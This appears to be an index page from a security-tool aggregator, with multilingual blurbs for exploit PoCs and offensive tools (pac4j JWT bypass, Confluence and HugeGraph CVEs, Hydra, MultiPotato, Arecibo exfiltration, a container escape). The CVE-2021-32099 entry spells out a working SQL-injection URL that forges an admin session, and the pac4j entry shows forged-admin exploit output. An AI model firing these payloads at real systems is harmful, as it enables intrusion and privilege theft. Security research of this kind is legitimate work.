pwn-hisilicon-dvr

= Взлом DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :imagewidth: 100% abstract В этом отчёте раскрываются серьёзные уязвимости с кодом доказательства концепции PoC устройств DVR/NVR, построенных ...

CVE-2026-29000---pac4j-jwt-Authentication-Bypass-PoC

CVE-2026-29000 - pac4j-jwt 인증 우회 PoC 참고: 이는 제 원작이 아닙니다. 참고용으로 여기에 보관하고 있습니다. 작동 방법론: root@kitploit: python3 exploit.py http://IP:PORT Fetching JWKS... + Got RSA public key kid: enc-key-1 Crafted PlainJWT with sub=admin, role=ROLEADMIN + Forged JWE token created Accessing /api/dashboard... + Statu...

xss_vulnerability_challenges

XSS Vulnerability Scenarios challenges This repository is a Dockerized php application containing some XSS vulnerability challenges. The ideas behind challenges are: Javascript validation bypass html entities bypass WAF bypass Black-list validation bypass Basic XSS validation bypass Double encode...

xss_vulnerability_challenges

Сценарии XSS-уязвимости задачи Этот репозиторий представляет собой Docker-приложение на PHP, содержащее несколько задач по XSS-уязвимостям. Идеи, лежащие в основе задач: Обход проверки JavaScript Обход HTML-сущностей Обход WAF Обход проверки черного списка Обход базовой проверки XSS Обход WAF с...

poc-cve-2018-1273

CVE-2018-1273 Spring Data Commons, версии от 1.13 до 1.13.10, от 2.0 до 2.0.5, а также более старые неподдерживаемые версии, содержат уязвимость связывания свойств, вызванную неправильной нейтрализацией специальных элементов. Неаутентифицированный удаленный злоумышленник может передать специально...

thc-hydra

H Y D R A root@kitploit: c 2001-2023 by van Hauser / THC https://github.com/vanhauser-thc/thc-hydra Many modules were written by David dot Maciejak @ gmail dot com BFG code by Jan Dlabal Licensed under AGPLv3 see LICENSE file Please do not use in military or secret service organizations, or for...

ios_triage

Triage iOS Script Bash pour extraire des données d'un appareil iOS "checkra1ned" Développé et testé sur Mac OS X Mojave 10.14.6 Prérequis obligatoires checkra1n https://checkra.in/ libimobiledevice https://www.libimobiledevice.org/ SSHPASS pour Mac OS X https://gist.github.com/arunoda/7790979...

ttyd

ttyd - Share your terminal over the web ttyd is a simple command-line tool for sharing terminal over the web. Features Built on top of libuv and WebGL2 for speed Fully-featured terminal with CJK and IME support ZMODEM lrzsz / trzsz file transfer support Sixel image output support img2sixel / lsix...

poc-yaws-dav-xxe

XXE в веб-сервере Yaws CVE-2020-24379 Доказательство концепции Соберите тестовый образ: docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile . и/или Запустите контейнер docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod Затем выполните: root@kitploit: curl -i -s -k -X...

MultiPotato

MultiPotato Tout d'abord - crédit à @splintercode et @decoderit pour RoguePotato car ce code se base fortement dessus. Ce n'est qu'un autre Potato pour obtenir les privilèges SYSTEM via SeImpersonate. Mais celui-ci est différent en termes de Il ne contient aucun déclencheur d'authentification...

CVE-2023-22515-joaoviictorti

CVE-2023-22515 개요 컴파일 사용법 CVE-2023-22515 실행 개요 Confluence는 호주 소프트웨어 회사인 Atlassian이 개발한 웹 기반 엔터프라이즈 위키입니다. Atlassian은 일부 고객이 공개적으로 접근 가능한 Confluence 서버 및 데이터 센터 인스턴스에서 외부 공격자가 이전에 알려지지 않은 취약점을 악용하여 무단 Confluence 관리자 계정을 생성하고 Confluence 인스턴스에 접근했을 수 있다고 보고한 문제를 인지했습니다. 이 취약점은 CVE-2023-22515로 분류되었습니...

Arecibo

Arecibo 대역 외 유출을 위한 엔드포인트 DNS 및 HTTP 작성자 Juan Manuel Fernández @TheXC3LL & Pablo Martinez @Xassiz DNS 유출 새로운 토큰 생성: root@kitploit: curl localhost:5000/generatedns "htoken": "c008b5dd22817c50441522f917c66743" 이제 이 식별 토큰을 사용하여 DNS 조회를 수행할 수 있습니다 ABCD.TOKEN.x.yourdomain.com: root@kitploit:...

briefr — Updated!

BRIEFR Self-hosted CVE intelligence for analysts who need answers, not another raw feed Live demo · Documentation · Quick start · Screenshots What is BRIEFR? BRIEFR is a self-hosted CVE intelligence dashboard. It pulls public vulnerability and threat feeds into your PostgreSQL database, then give...

CVE-2026-29000

CVE-2026-29000: pac4j-jwt JwtAuthenticator 인증 우회 전체 구성: 분석 문서writeup, Java 인프로세스 PoC, Python 토큰 위조 CLI 및 라이브러리, 테스트. 요약 CVE: CVE-2026-29000 CVSS 10, CWE-347 영향 범위: JWE + 서명 구성을 사용하는 pac4j-jwt 4.5.9 / 5.7.9 / 6.3.3 문제점: JWE로 래핑된 PlainJWT서명 없음가 서명 검증을 우회합니다. 공격자는 서버의 RSA 공개 키만 있으면 토큰을 위조하고 임의의 사용자로...

BobTheSmuggler

BobTheSmuggler Быстрое обновление 15 января 2024 г. -Добавлена поддержка сжатия нескольких файлов. Если у вас есть несколько файлов, созданных для конечной полезной нагрузки например, файлы для подгрузки DLL или файлы для многоэтапной доставки, теперь вы можете использовать опцию '-i', чтобы...

CVE-2021-32099

CVE-2021-32099 CVE-2021-32099 POC : http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=a%27%20UNION%20SELECT%20%27a%27,1,%27idusuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessionsphp%20WHERE%20%271%27=%271 Подробности :...

ipv6_frag_escape

IPV6FRAGESCAPE A reliable unprivileged container / jail escape proof of concept for CentOS / RHEL 10. It rides a now fixed IPv6 fragmentation bug in ip6appenddata closed upstream by 38becddc, no CVE, an in-slab linear overflow into the skbsharedinfo at the tail of a packet's own head object. This...

netstat2neo4j

Netstat Visualization with Neo4j Description Graphs help to spot anomalies and patterns in large datasets. This script takes netstat information from multiple hosts and formats them in a way to make them importable into Neo4j. Neo4j can be queried for find connections to certain hosts, from certa...

netstat2neo4j

Визуализация Netstat с помощью Neo4j Описание Графы помогают выявлять аномалии и закономерности в больших наборах данных. Этот скрипт собирает информацию netstat с нескольких хостов и форматирует её для импорта в Neo4j. Neo4j можно запрашивать для поиска подключений к определённым хостам, от...

CVE-2024-27348

CVE-2024-27348 Только для этического использования. Любые вредоносные или злонамеренные действия запрещены. И это ваша собственная ответственность Вы можете прочитать анализ уязвимости здесь: https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/ Apache HugeGraph Server RCE...